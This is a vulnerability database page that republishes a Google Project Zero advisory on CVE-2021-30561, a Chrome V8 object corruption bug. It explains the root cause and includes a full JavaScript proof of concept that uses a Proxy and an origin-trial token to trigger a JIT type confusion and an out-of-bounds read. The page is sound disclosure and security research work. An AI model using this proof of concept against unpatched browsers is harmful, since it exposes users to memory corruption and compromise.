Lucene search
K

Chrome JS WasmJs::InstallConditionalFeatures Object Corruption

🗓️ 16 Aug 2021 00:00:00Reported by Google Security ResearchType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 498 Views

Chrome JS object corruption in WasmJs::InstallConditionalFeatures during exception handling setup.

Related
Code
ReporterTitlePublishedViews
Family
FreeBSD
chromium -- multiple vulnerabilities
15 Jul 202100:00
freebsd
AlpineLinux
CVE-2021-30561
3 Aug 202118:25
alpinelinux
ArchLinux
[ASA-202107-30] chromium: arbitrary code execution
16 Jul 202100:00
archlinux
ArchLinux
[ASA-202107-31] vivaldi: arbitrary code execution
16 Jul 202100:00
archlinux
ArchLinux
[ASA-202107-46] opera: arbitrary code execution
21 Jul 202100:00
archlinux
AstraLinux
Astra Linux - уязвимость в chromium
3 May 202623:59
astralinux
Circl
CVE-2021-30561
19 Aug 202112:31
circl
CNNVD
Google Chrome 安全漏洞
15 Jul 202100:00
cnnvd
CNVD
Google Chrome V8 Type Obfuscation Vulnerability (CNVD-2021-60535)
20 Jul 202100:00
cnvd
CVE
CVE-2021-30561
3 Aug 202118:25
cve
Rows per page
`Chrome: JS object corruption in WasmJs::InstallConditionalFeatures  
  
VULNERABILITY DETAILS  
```  
void WasmJs::InstallConditionalFeatures(Isolate* isolate,  
Handle<Context> context) {  
// Exception handling may have been enabled by an origin trial. If so, make  
// sure that the {WebAssembly.Exception} constructor is set up.  
auto enabled_features = i::wasm::WasmFeatures::FromContext(isolate, context);  
if (enabled_features.has_eh()) {  
Handle<JSGlobalObject> global = handle(context->global_object(), isolate);  
MaybeHandle<Object> maybe_webassembly =  
JSObject::GetProperty(isolate, global, \"WebAssembly\");  
Handle<JSObject> webassembly =  
Handle<JSObject>::cast(maybe_webassembly.ToHandleChecked());  
// Setup Exception  
Handle<String> exception_name = v8_str(isolate, \"Exception\");  
if (!JSObject::HasProperty(webassembly, exception_name).FromMaybe(true)) { // *** 1 ***  
Handle<JSFunction> exception_constructor = InstallConstructorFunc( // *** 2 ***  
isolate, webassembly, \"Exception\", WebAssemblyException);  
[...]  
}  
}  
  
Handle<JSFunction> InstallConstructorFunc(Isolate* isolate,  
Handle<JSObject> object,  
const char* str,  
FunctionCallback func) {  
return InstallFunc(isolate, object, str, func, 1, true, DONT_ENUM,  
SideEffectType::kHasNoSideEffect);  
}  
  
Handle<JSFunction> InstallFunc(  
Isolate* isolate, Handle<JSObject> object, const char* str,  
FunctionCallback func, int length, bool has_prototype = false,  
PropertyAttributes attributes = NONE,  
SideEffectType side_effect_type = SideEffectType::kHasSideEffect) {  
Handle<String> name = v8_str(isolate, str);  
Handle<JSFunction> function =  
CreateFunc(isolate, name, func, has_prototype, side_effect_type);  
function->shared().set_length(length);  
JSObject::AddProperty(isolate, object, name, function, attributes); // *** 3 ***  
return function;  
}  
```  
  
The function `WasmJs::InstallConditionalFeatures` is responsible for setting up the `WebAssembly.Exception` constructor[2] depending on whether the corresponding feature is enabled. Usually, code like above only runs at context creation time before any user JS can be executed. However, in this case, the feature is controlled by an origin trial, and an attacker can add a new origin trial token to the active document at any time, by which they may have modified or replaced the `WebAssembly` object.  
  
This is problematic because the `Exception` constructor is assigned via the service function `AddProperty`[3]. Unlike the regular `SetProperty`, `AddProperty` doesn't check whether a property with the same name is already defined on the receiver. As a result, the receiver may end up in a corrupted state where two of its properties have the same name. Moreover, if the receiver's map is deprecated by the time `AddProperty` is called, the function will create a new property descriptor, but modify the value of the existing property without updating its descriptor.  
  
A property descriptor may contain, among other things, the field map i.e. the only map that values of that property are allowed to have. This information is used by TurboFan in the load elimination phase in order to remove unnecessary map checks. If an incompatible object is assigned to the property, the field map gets cleared, and all dependent code gets deoptimized.  
  
The vulnerability allows the attacker to construct an object with a field that doesn't match its field map and thus cause a type confusion between an arbitrary JS object and the `Exception` constructor in JIT-compiled JavaScript code.  
  
Note that the code checks if the `Exception` property already exists[1]. Unfortunately, it uses the `HasProperty` function, which follows prototype chains and trusts `Proxy` objects. Therefore, the attacker can implement a `Proxy` with a custom `has` handler, which will be triggered by `HasProperty` and define the `Exception` property when it's too late for the function to spot it.  
  
  
VERSION  
Google Chrome 91.0.4472.77 (Official Build) (x86_64)  
Chromium 93.0.4532.0 (Developer Build) (64-bit)  
  
  
REPRODUCTION CASE  
```  
<body>  
<script>  
array = [1.1];  
array.stable_map = 1; // LoadElimination ignores fields with non-stable maps  
  
proxy = new Proxy({}, {  
has() {  
object_1.Exception = array;  
  
object_2.deprecated_map = 1.1;  
object_2.Exception = array;  
  
return false;  
}  
});  
  
object_1 = {__proto__: proxy};  
object_1.deprecated_map = 0;  
  
object_2 = {__proto__: proxy};  
  
WebAssembly = object_1;  
  
meta = document.createElement('meta');  
meta.httpEquiv = 'Origin-Trial';  
meta.content = 'AkraUQ8UvLgBl/MKvqU9ZuwZ2csKJU75hMutXva8msph9EKaxUkf1fmA4V3y8' +  
'SLmwlYwFzKQHL2w+lwlIzfcJgsAAAB2eyJvcmlnaW4iOiJodHRwczovL2FuYW' +  
'xvZy1mYXN0bmVzcy0yMzAyMTkudWMuci5hcHBzcG90LmNvbTo0NDMiLCJmZWF' +  
'0dXJlIjoiV2ViQXNzZW1ibHlFeGNlcHRpb25zIiwiZXhwaXJ5IjoxNjM3MTA3' +  
'MTk5fQ==';  
document.head.appendChild(meta);  
  
delete object_1.Exception; // transition back to object_2's map  
  
jit = (object, index) => {  
return object.Exception[index];  
}  
for (var i = 0; i < 100000; ++i)  
jit(object_2, 0);  
  
alert(jit(object_1, Number(location.hash.substring(1))));  
</script>  
</body>  
```  
  
The repro case won't work locally with the token above because of the origin restrictions. A live demo is available at https://analog-fastness-230219.uc.r.appspot.com/ebfe973809a47053be02ace515eef631/#1000000.  
  
  
CREDIT INFORMATION  
Sergei Glazunov of Google Project Zero  
  
  
This bug is subject to a 90-day disclosure deadline. If a fix for this  
issue is made available to users before the end of the 90-day deadline,  
this bug report will become public 30 days after the fix was made  
available. Otherwise, this bug report will become public at the deadline.  
The scheduled deadline is 2021-09-12.  
  
  
Related CVE Numbers: CVE-2021-30561.  
  
  
  
Found by: [email protected]  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Aug 2021 00:00Current
0.4Low risk
Vulners AI Score0.4
EPSS0.00416
498